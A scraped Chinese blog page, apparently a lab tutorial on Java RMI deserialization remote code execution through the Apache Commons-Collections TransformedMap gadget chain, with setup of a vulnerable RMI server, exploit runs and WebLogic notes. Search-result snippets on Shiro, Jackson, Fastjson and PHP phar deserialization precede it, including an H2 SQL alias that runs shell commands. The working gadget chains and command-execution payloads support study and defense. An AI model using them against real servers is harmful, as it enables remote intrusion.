精华内容
下载资源
问答
  • 利用phar实行php反序列化命令执行(测试环境复现)前言一般说到反序列化漏洞,第一反应都是unserialize()函数。然而安全研究员Sam Thomas分享了议题”It’s a PHP unserialization vulnerability Jim, but not as we ...

    利用phar实行php反序列化命令执行(测试环境复现)

    前言

    一般说到反序列化漏洞,第一反应都是unserialize()函数。然而安全研究员Sam Thomas分享了议题”It’s a PHP unserialization vulnerability Jim, but not as we know it”,利用phar伪协议会将用户自定义的meta-data序列化的形式存储这一特性,扩展php反序列化的攻击面。

    phar介绍

    简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

    phar结构由 4 部分组成

    stub phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;

    manifest 压缩文件的属性等信息,以序列化存储;

    contents 压缩文件的内容;

    signature 签名,放在文件末尾;

    这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多。

    以上内容摘自:由 PHPGGC 理解 PHP 反序列化漏洞 。

    https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

    复现过程

    Phar文件生成

    根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类。

    phar_gen.php

    f0f21e6110d91388b23700b671c9d1e1.png

    Evil.class.php

    a70cd8c3c1e29ee48c3bab7bfe232b9d.png

    直接运行的时候会报错

    c09188fd0f3c1121fb62d5c3c9a38d65.png

    原因是:需要将php.ini中的phar.readonly设置成off。(我在这浪费了很多时间,配置文件一定要改完后保存,然后重启服务器)

    ccd32e86e13e2408345713c6fe7161e5.png

    执行之后生成一个vul.phar,用二进制编辑器打开,如图所示

    48295ac3209c18b0dafa2cf0b69f756e.png

    由图可以发现,meta-data已经以序列化的形式存在phar文件中。

    说明一下:其实就是把要执行的命令序列化保存在phar的压缩文件里

    反序列化

    对应序列化,肯定存在着反序列化的操作。php文件系统中很大一部分的函数在通过phar://解析时,存在着对meta-data反序列化的操作。

    测试环境如下: test.php

    f76203cf2452e04cc563d829d1cc59be.png

    访问test.php, http://127.0.0.1/test.php?url=phar://vul.phar,得图

    2d6971ae31223ad782ddb7610e58075a.png

    执行成功。

    防御

    在文件系统函数的参数可控时,对参数进行严格的过滤。

    严格检查上传文件的内容,而不是只检查文件头。

    在条件允许的情况下禁用可执行系统命令、代码的危险函数。

    原文:https://www.cnblogs.com/zy-king-karl/p/11454609.html

    展开全文
  • JAVA RMI 反序列化远程命令执行漏洞

    万次阅读 2017-05-11 00:42:34
    JAVA RMI 反序列化远程命令执行漏洞 漏洞资料 背景 原理 Payload构造 搭建本地测试环境 开启包含第三方库的RMI服务 测试RMI客户端 攻击测试 升级版攻击 Weblogic Commons-Collections反序列化RCE漏洞CVE-2015-4852...

    JAVA RMI 反序列化远程命令执行漏洞

    漏洞资料

    Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )
    【技术分享】Java RMI 反序列化漏洞检测工具的编写
    Java反序列化漏洞被忽略的大规模杀伤利用
    java RMI相关反序列化漏洞整合分析
    commons-collections中Java反序列化漏洞导致的RCE原理分析

    背景

      之前在某个项目的漏洞核查中,发现客户的某个服务器存在JAVA RMI反序列化远程命令执行漏洞,当时手头没有相应的利用工具,就在网上找了一个广为使用的ysoserial利用工具【Download】。但是使用过程中发现,这个工具不具有回显功能,用户服务器又是处于内网环境而且是windows机器,所以使用这个工具无法验证该漏洞是否存在。
      另外,在其他项目中也发现,一些安装了weblogic中间件的服务器,如果在weblogic服务中启用了T3协议,且存在有缺陷的第三方库apache commons-collections,从而也存在反序列化引起的RCE漏洞(CVE-2015-4852)。
      然后我决定对这个工具进行修改,在研究过程中,发现这个漏洞并不简单,从ysoserial这个工具的payload就可以看出来,虽然漏洞名称都是JAVA RMI反序列化漏洞,但是成因却不尽相同。
      本文将对关于该漏洞的资料进行整合和分析,以及通过一些本地环境的搭建对漏洞进行复现,特别是针对常见的apache commons-collections第三方库存在的漏洞进行原因分析。
      结尾有福利。

    原理

      RMI是REMOTE METHOD INVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
      对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
      RMI的传输100%基于反序列化。

      首先,该漏洞存在需要两个条件:1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections
      
      在《Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )》一文中,提到需要在服务器端的类路径中,存在一个名称公开已知的类,这个类需要实现java的Serializable接口,而且自己实现了一个readObject方法。显然,类似apache的commons-collections这样的第三方库的代码是开源的,我们很容易可以知道一个满足上述条件的类名。但是,这篇文章所描述的漏洞比我们所要讨论的范围更加广,是针对任意类的反序列化和RCE漏洞,而且漏洞成因不通,CVE-2017-3241漏洞出现的原因是java本身的原因(sun.rmi.server.UnicastRef类中),而我们所要研究的漏洞是第三方库有缺陷所造成的。
      以commons-collections第三方库为例:

      Both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue.

      下载commons-collections的3.2.1版本源码进行研究【Download】,在InvokerTransformer类中(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\functors),可以使用其中的transform方法通过反射执行参数对象中的某个方法。

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    @SuppressWarnings({"rawtypes", "unchecked"})
    public class test {
        public static void main(String[] args) {
        Transformer transform = new InvokerTransformer("append",
                new Class[]{String.class},
                new Object[]{"exploitcat?"});
        Object newObject = transform.transform(new StringBuffer("your name is ")) ;
        System.out.println(newObject);    
        }
    }

      在上述代码中,首先实例化了一个Transformer对象transform,InvokerTransformer类的构造函数如下:

        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) 
        {
            super();
            iMethodName = methodName;
            iParamTypes = paramTypes;
            iArgs = args;
        }

      第一个参数append是方法名,第二个参数是参数类型,第三个参数是参数值。然后我们调用transform对象的transform方法,

        public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);
    
            } catch (NoSuchMethodException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }

      这样,相当于我们执行了

    StringBuilder a=new StringBuilder("your name is ");
        a.append("exploitcat?");

      输出为 your name is exploitcat?
      这样,我们就需要commons-collections中存在一个调用了InvokerTransformer的transform方法的类,它就是TransformerMap。这个文件位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map中,在该类中,实现了Serializable接口,有自己的readObject方法:

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            map = (Map) in.readObject();
        }

      另外,这个类中存在一个静态的方法decorate:

        public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
        }

      这个方法返回一个TransformerMap对象:

        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            super(map);
            this.keyTransformer = keyTransformer;
            this.valueTransformer = valueTransformer;
        }

      利用一段示例代码来演示如何使用TransformerMap类来执行命令:

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.util.Map;
    import java.util.HashMap;
    public class TransformTest {
        public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        innerMap.put("name", "hello") ;
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
        Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
        elEntry.setValue("hello") ;
        }
    }

      首先,实例化一个Transformer数组,这个数组把我们要执行的代码分散到多个Transformer对象中,实际上就相当于:

    try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

      然后把Transformer数组组合成为一个ChainedTransformer对象:

    Transformer chain = new ChainedTransformer(transformers) ;

      然后用TransformerMap的decorate函数来包装一个原生的Map对象innerMap:

    Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;

      在这行代码:elEntry.setValue("hello") ;中,首先执行outerMap的setValue方法,这个方法继承自MapEngry类(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java),将会调用父类的方法:

    public Object setValue(Object value) {
                value = parent.checkSetValue(value);
                return entry.setValue(value);
            }

      然后调用将调用TransformerMap中的checkSetValue方法:

        protected Object checkSetValue(Object value) {
            return valueTransformer.transform(value);
        }

      可以看到,在这里调用了transform方法来触发我们的代码。
      如果运行这个程序,将会弹出计算器:
    这里写图片描述

    Payload构造

      关于Payload的构造,可以参考ysoserial的源码,也可以参考http://pan.baidu.com/s/1c2szKBI网盘中的代码。但是,通过这种方式进行攻击测试,在我搭建的环境下出现了一个问题:
    这里写图片描述
     经过排查,我发现问题出现在源码中的65行:innerMap.put("value", "value");,如果传入的两个参数的值不是value,那么会出现上述错误,我也没看懂出现这个问题的原因是什么。

    搭建本地测试环境

    开启包含第三方库的RMI服务

      在我刚开始测试的过程中,如何写一个简单的服务端和客户端验证RMI服务成功开启都摸索了好几天,只能怪自己java水平太低。
      首先,使用eclipse新建一个java项目:
    这里写图片描述
      命名为JavaRMI,注意选择JRE为1.6,因为貌似在1.8版本的JRE中该漏洞被修复了。
    这里写图片描述
      在项目属性中建立一个lib:
    这里写图片描述
      再将Apache commons-collections-3.2.jar添加到lib中:
    这里写图片描述
      新建一个ServerI.java接口文件:

    import java.rmi.Remote;
    import java.rmi.RemoteException;
    public interface ServerI extends Remote
    {
        public String action(String arg)throws RemoteException;
    }

      新建一个ServerImp.java文件:

    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;
    
    
    public class ServerImp extends UnicastRemoteObject implements ServerI {
        protected ServerImp() throws RemoteException {
            super();
        }
    
        @Override
        public String action(String arg) {
            System.out.println(arg);
    
            return arg;
        }
    }

      新建一个Run.java文件:

    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.rmi.server.UnicastRemoteObject;
    
    
    public class Run {
        public static void main(String[] args) {
            try {
                ServerI server = new ServerImp();
                int port=Integer.parseInt(args[0]);
                String registry_name=args[1];
                Registry registry = LocateRegistry.createRegistry(port);
                registry.rebind(registry_name, server);
                System.out.println("Service Start!\n");
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

      配置好Build configure,将Run.java导出为可执行的jar文件,注意将第三方库也打包进来:
    这里写图片描述
      生成jar包后,将其复制到虚拟机中(我使用的安装了java1.6的kali),这个时候不能直接运行,而是要配置/etc/hosts文件,因为在客户端请求rmi服务端时,首先返回的是localhost,一般情况下linux默认localhost不是外网地址而是127.0.1.1,需要将其改为外网地址:
    这里写图片描述
      我将kali下的/etc/hosts文件中的kali一项修改为外网地址。然后运行:java -jar rmiserver.jar 6600 rmi,参数6600是端口号,rmi是服务名称。
      可以看到:
    这里写图片描述
      说明rmi服务启动成功。

    测试RMI客户端

      在eclipse下刚才的项目中,新建一个Client.java文件:

    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    
    
    public class Client
    {
        public static void main(String[] args) throws Exception
        {
            String ip=args[0];
            int port=Integer.parseInt(args[1]);
            String registry_name=args[2];
            String msg=args[3];
            Registry registry=LocateRegistry.getRegistry(ip,port);
            ServerI business=(ServerI)registry.lookup(registry_name);
            business.action(msg);
        }
    }

      同样,生成可执行的jar文件,注意要配置新的Build Configure。
      然后,在本机运行java -jar ./rmiclient.jar 192.168.31.25 6600 rmi MESSAGE
      服务器端将显示MESSAGE字样
    这里写图片描述
      这样,RMI服务测试环境就搭好了。

    攻击测试

      利用攻击测试文件,其中的ErrorBaseExec.jar【Download】是一个自定义的可以执行回显的jar文件,将它放置到VPS上使得其可以通过http访问。
      命令行下执行java -jar ./RMIexploit.jar 192.168.31.25 6600 http://*.*.*.*/ErrorBaseExec.jar "ifconfig"
    这里写图片描述
      回显成功。

    升级版攻击

      利用上述方式进行攻击的缺点在于,如果要攻击的对象位于内网,那么就无法加载ErrorBaseExec.jar文件。因此,【技术分享】Java RMI 反序列化漏洞检测工具的编写一文中提出了将ErrorBaseExec.class文件直接写入到目标机器中,从而完成调用。具体技术细节可以对该工具【Download】进行反编译查看源码获知。

    Weblogic Commons-Collections反序列化RCE漏洞(CVE-2015-4852)

      在之前的某个项目中,遇到客户的服务器通过Nmap扫描的时候发现,在web端口上存在T3 Enabled字样,表示该服务器允许T3协议,至于T3协议的详细信息可以参考:http://blog.csdn.net/cymm_liu/article/details/36011725http://www.xuebuyuan.com/2218893.html
      其实当weblogic使用RMI服务时,web端口就是RMI服务端口,同时使用了丰富套接字T3协议。那么如果weblogic包含了有缺陷的第三方库(其实下面这些版本就包含了Apache Commons Collections库),也可以触发该漏洞。
      关于该漏洞的具体信息,参考【Java反序列化漏洞之weblogic本地利用实现篇】
      这个漏洞影响了Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。
      再放一发工具【Download】

    展开全文
  • Shiro反序列化命令执行漏洞分析 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 例如:第一章 Python 机器学习入门之pandas的使用 提示:写完文章后,目录可以自动生成,如何生成可参考右边的...

    Shiro反序列化命令执行漏洞分析

    一、shiro组件介绍

    Apache Shiro是一个强大且易用的Java安全框架,执行身份认证、授权、加密和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    二、漏洞分析

    shiro版本:<=1.2.24
    漏洞触发点
    org.apache.shiro:shiro-core.DefaultSecurityManager的resolvePrincipals函数位置。再该函数位置下断点,使用如下带有rememberMe的Cookie参数发起请求。
    在这里插入图片描述

    断点位置
    在这里插入图片描述跟进该函数
    Base64解密返回byte字节数组
    在这里插入图片描述
    在这里插入图片描述

    继续跟进函数converBytesToPrincipals函数
    在这里插入图片描述decrype就是解密函数,deserialize将解密后的字节码进行反序列化。
    跟进decrype函数就能发现固定的秘钥
    在这里插入图片描述

    三、分析总结

    接收到rememberMe以后先进行base64解密,再进行AES解密,然后再进行反序列化,进而触发漏洞。
    payload的构造思路
    先生成反序列化的字节码,然后进行AES加密,再进行base64加密。

    展开全文
  • vulhub靶机里的这个漏洞里缺少了curl或者wget这些命令
  • Jackson反序列化代码执行漏洞

    千次阅读 2020-06-09 16:51:28
    在本文中,我们将向读者展示攻击者如何利用此反序列化漏洞来触发服务器端请求伪造(SSRF)和远程代码执行等攻击。 该研究催生了新的CVE-2019-12384生成,并影响到了一系列RedHat产品: 漏洞攻击条件 正如...

    在我们的一次研究过程中,我们分析了一个使用Jackson库对JSON进行反序列化的应用程序。在分析过程中,我们寻找到一个反序列化漏洞,并可以对反序列化的类进行控制。在本文中,我们将向读者展示攻击者如何利用此反序列化漏洞来触发服务器端请求伪造(SSRF)和远程代码执行等攻击。

    该研究催生了新的CVE-2019-12384生成,并影响到了一系列RedHat产品:

    漏洞攻击条件

    正如Jackson在On Jackson CVEs中写到的那样:下面是利用工具需要的要求:

    (1)应用程序接受由不受信任的客户端发送的JSON内容(由手动或未编写且无法查看或控制的代码)。这意味着我们无法约束正在发送的JSON消息。

    (2)应用程序对名称类型为java.lang.Object的属性(或少量“许可”标记接口之一,如java.util.Serializablejava.util.Comparable)使用多态类型处理。

    (3)应用程序至少有一个特定的“小工具”类可以在Java类路径中使用。详细而言,开发需要一个与杰克逊的工具辅助。实际上,大多数小工具仅适用于特定的库,例如最常见的报告与JDK序列化一起使用。

    (4)该应用程序使用的Jackson版本阻止特定的“小工具”类。有一组已发布的小工具会随着时间的推移而增长,因此它是补丁与漏洞之间的一场竞赛。反序列化是平台的“功能”,它们不断更新所报告的利用工具黑名单

    在这项研究中,我们假设满足前提条件(1)和(2)。 相反,我们专注于寻找能够满足(3)和(4)的利用工具。Jackson是Java应用程序中最常用的反序列化框架之一,其中多态性是常用的概念。 对于可能使用静态分析工具或其他动态技术的潜在攻击者来说,找到这些条件是零成本的,例如在请求、响应中查找@class,以找到这些目标。

    攻击准备

    在我们的研究过程中,我们开发了一个工具来帮助发现这些漏洞。当Jackson反序列化ch.qos.logback.core.db.DriverManagerConnectionSource时,可以滥用此类来实例化JDBC连接。 JDBC代表(J)ava(D)ata(b)ase(C)onnectivity。 JDBC是用于连接和执行数据库查询的Java API,它是JavaSE(Java标准版)的一部分。此外,JDBC使用自动字符串到类映射,因此它是在链中加载和执行更多“利用工具”的完美目标。

    为了演示攻击,我们准备了一个封装程序,我们在其中加载由攻击者指定的任意多态类。对于环境,我们使用了jRuby,其运行在Java虚拟机(JVM)之上并由ruby实现。通过集成在JVM之上,我们可以轻松地加载和实例化Java类。

    我们将使用此设置在给定目录中轻松加载Java类,并准备Jackson环境以满足上面列出的前两个要求(1,2)。为此,我们实现了以下jRuby脚本。

    require 'java'
    Dir["./classpath/*.jar"].each do |f|
        require f
    end
    java_import 'com.fasterxml.jackson.databind.ObjectMapper'
    java_import 'com.fasterxml.jackson.databind.SerializationFeature'
    
    content = ARGV[0]
    
    puts "Mapping"
    mapper = ObjectMapper.new
    mapper.enableDefaultTyping()
    mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
    puts "Serializing"
    obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
    puts "objectified"
    puts "stringified: " + mapper.writeValueAsString(obj)

    该脚本如下:

    • 在第2行,它加载“classpath”子目录中Java Archives(JAR)中包含的所有类。

    • 在第5行和第13行之间,它配置Jackson以满足要求(#2)。

    • 在第14行和第17行之间,它将传递给jRuby的多态Jackson对象反序列化并序列化为JSON。

    工具包研究

    对于这项研究,我们决定使用Java社区广泛使用的收到。 为了证明这种攻击,所有目标库都位于Maven中央存储库中排名前100位的最常见的库中。

    要复现该攻击,读者可以下载以下库并将它们放在“classpath”目录中:

    应该注意,h2库不需要执行SSRF,因为我们的经验表明,大多数时候Java应用程序加载至少一个JDBC驱动程序。 JDBC驱动程序是一种类,当传入JDBC URL时,它们会自动实例化,并将完整的URL作为参数传递给它们。

    使用以下命令,我们将使用上述类路径调用上一个脚本。

    $ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]"

    在脚本的第15行,Jackson将使用子对象中包含的密钥递归调用所有setter。更具体地说,Jackson反射库使用参数调用setUrl(String url)。在该阶段(第17行)之后,完整对象再次序列化为JSON对象。此时,如果未定义getter,则通过显式getter直接序列化所有字段。setter是getConnection()。作为攻击者,我们对所有方法感兴趣,这些方法在我们控制参数时会产生副作用。

    调用getConnection时将实例化内存数据库。由于应用程序是短暂的,我们不会从攻击者的角度看到任何有意义的影响。为了做更有意义的事情,我们创建了一个到远程数据库的连接。如果目标应用程序部署为远程服务,则攻击者可以生成服务器端请求伪造(SSRF)。以下屏幕截图是此方案的示例。

    输入矩阵:从SSRF到RCE

    我们可能已经注意到这两种情况都会导致DoS和SSRF。虽然这些攻击可能会影响应用程序的安全性,但我们希望向读者展示一种简单有效的技术,将SSRF转变为完整的RCE。

    为了在应用程序的上下文中获得完整的代码执行,我们加载H2 JDBC驱动程序的功能。 H2是一个快速的SQL数据库,通常用于完整的SQL数据库管理系统(如Postgresql,MSSql,MySql或OracleDB)的内存替换。它很容易配置,它实际上支持许多模式,如内存,文件和远程服务器。 H2具有从JDBC URL运行SQL脚本的能力,该URL是为了拥有支持init迁移的内存数据库而添加的。仅这一点就不允许攻击者在JVM上下文中实际执行Java代码。但是,H2由于它是在JVM中实现的,因此能够指定包含java代码的自定义别名。这是我们可以滥用来执行任意代码的内容。

    我们可以通过一个简单的http服务器(例如python-one:python -m SimpleHttpServer)提供以下inject.sql INIT文件。

    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
    $$;
    CALL SHELLEXEC('id > exploited.txt')

    并运行应用程序:

    $ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
    ...
    $ cat exploited.txt
    uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

    迭代污点跟踪

    开发反序列化漏洞很复杂,需要大量时间。 在进行产品安全性审查时,时间限制可能使得我们难以找到用于开发的适当工具。

    反序列化漏洞是典型的大海捞针问题。 一方面,识别易受攻击的入口点是一项容易的任务,而找到有用的工具可能非常耗时。 在Doyensec中,我们开发了一种技术来寻找有用的杰克逊小工具,以促进后者的努力。 我们构建了一个静态分析工具,可以通过污点跟踪分析找到序列化小工具。 我们将其设计得足够快,可以多次运行,并通过自定义和可扩展的规则集语言进行改进。 平均而言,在Macbook PRO i7 2018上运行需要2分钟。

    污点追踪是一个专题学术研究课题。 学术研究工具专注于非常高的召回率和精确度。 权衡取决于高召回率、精确度与速度、内存之间的关系。 由于我们希望此工具在测试商业级产品时可用,我们重视工具的可定制性,因此我们专注于速度和可用性,而不是高召回率。

    本文为翻译文章,来源于:[https://blog.doyensec.com/2019/07/22/jackson-gadgets.html](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
    展开全文
  • Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现漏洞环境搭建漏洞复现反弹shell题外话1题外话2 影响版本:Apache Shiro <= 1.2.4 漏洞产生原因: shiro默认使用了CookieRememberMeManager,其处理cookie的流程是...
  • Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628) by ADummy 0x00利用路线 ​ 启动一个JRMP Server—>执行exp文件—>命令执行 0x01漏洞介绍 ​ 在 WebLogic 里,攻击者利用其他rmi绕...
  • 利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数。然而安全研究员Sam Thomas分享了议题”It’s a PHP unserialization vulnerability Jim, but not as ...
  • Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令 漏洞编号 CVE-2018-2628 受影响版本 Weblogic 10.3.6.0 ...
  • 其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。 影响版本 影响版本 Apereo CAS <= 4.1.7 漏洞复现 先下载漏洞利用工具Apereo-CAS-...
  • 环境搭建 漏洞测试 抓包测试 查看返回包里setcookie有...dns发现有回显,说明存在反序列化漏洞漏洞复现 1.监听回弹shell 2.生成key 3.使用ysoserial中JRMP监听模块,监听9920端口 4.重放 5.收到返回shell...
  • Apereo CAS 4.1 反序列化命令执行漏洞 Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标...
  • fastjson 1.2.24 反序列化导致任意命令执行漏洞 fastjson 1.2.24 反序列化导致任意命令执行漏洞 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过...
  • 其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。 影响版本 Apereo CAS <= 4.1.7 环境搭建 这里我使用vulhub来安装环境 ...
  • 解决方法: 1、升级到1.2.48以上的版本 ...2、拦截请求中的`@type`关键字,推荐使用腾讯云网站管家检测到服务器存在漏洞风险 公告: https://github.com/alibaba/fastjson/wiki/security_update_20170315
  • 其2.x版本和3.x版本中存在反序列化漏洞,攻击者可以利用该漏洞在目标服务器上执行任意命令。 影响范围 2.x 3.x 复现过程 这里使用3.3版本 使用vulhub /app/vulhub-master/jmeter/CVE-2018-1297 使用docker启动 ...
  • fastjson 反序列化导致任意命令执行漏洞 原理 ...
  • 其7.2.0 GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。 影响范围 7.2.0 GA1及以前 复现过程 这里使用7.2.0版本 使用vulhub /app/vulhub-master/liferay-portal/CVE-2020...
  • 进行代码检查时,Coverity工具在进行json转换时,报Unsafe Deserialization错误,字面意思是不安全的反序列化,根本原因就是反序列化会有漏洞导致的。 看完下文反序列化漏洞的原理后,我们就知道该如何解决这个问题...
  • WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)漏洞复现WebLogic wls-async 反序列化远程命令执行漏洞(CNVD-C-2019-48814)0x01 weblogic简介0x02漏洞简介0x03 影响的系统0x04 复现过程1....
  • 声明 好好学习,天天向上 漏洞描述 Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/...其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以
  • JBOSS AS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)1. 漏洞描述 漏洞描述:该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何...
  • Jmeter RMI 反序列化命令执行漏洞(CVE-2018-1297)Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现利用ysoserial检查结果 Vulnhub官方复现教程 https://vulhub.org/#/environments/jmeter/CVE-2018-1297/ ...
  • 命令执行反序列化

    2020-12-10 08:36:14
    命令执行反序列化 原理 设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。 &、|、“ 空格”等组合连接实现 只要...
  • 攻击者可通过远程发送攻击数据,借助T3协议在WebLogic Server中执行反序列化操作利用该漏洞执行代码。 影响范围 Oracle WebLogic Server 10.3.6.0版本,12.1.3.0 版本,12.2.1.2 版本,12.2.1.3版本。 漏洞复现 首先...
  • Fastjson 反序列化导致任意命令执行漏洞Vulnhub官方复现教程漏洞原理复现漏洞启动环境生成字节码本环境目录结构解压war漏洞复现生成字节码构造POC漏洞利用本地测试 Vulnhub官方复现教程 ...漏洞原理 ...
  • Weblogic wls9_async_response 反序列化远程命令执行漏洞(CNVD-C-2019-48814) 漏洞概述: 该漏洞存在于wls9-async组件,这个组件主要作用是异步通讯服务,攻击者可以向/_async/AsyncResponseService路径下传入...
  • 反序列化原理介绍与漏洞产生原因分析 什么是反序列化 就是把一个对象变成可以传输的字符串,目的就是为了方便传输。 假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 13,837
精华内容 5,534
关键字:

命令反序列化执行漏洞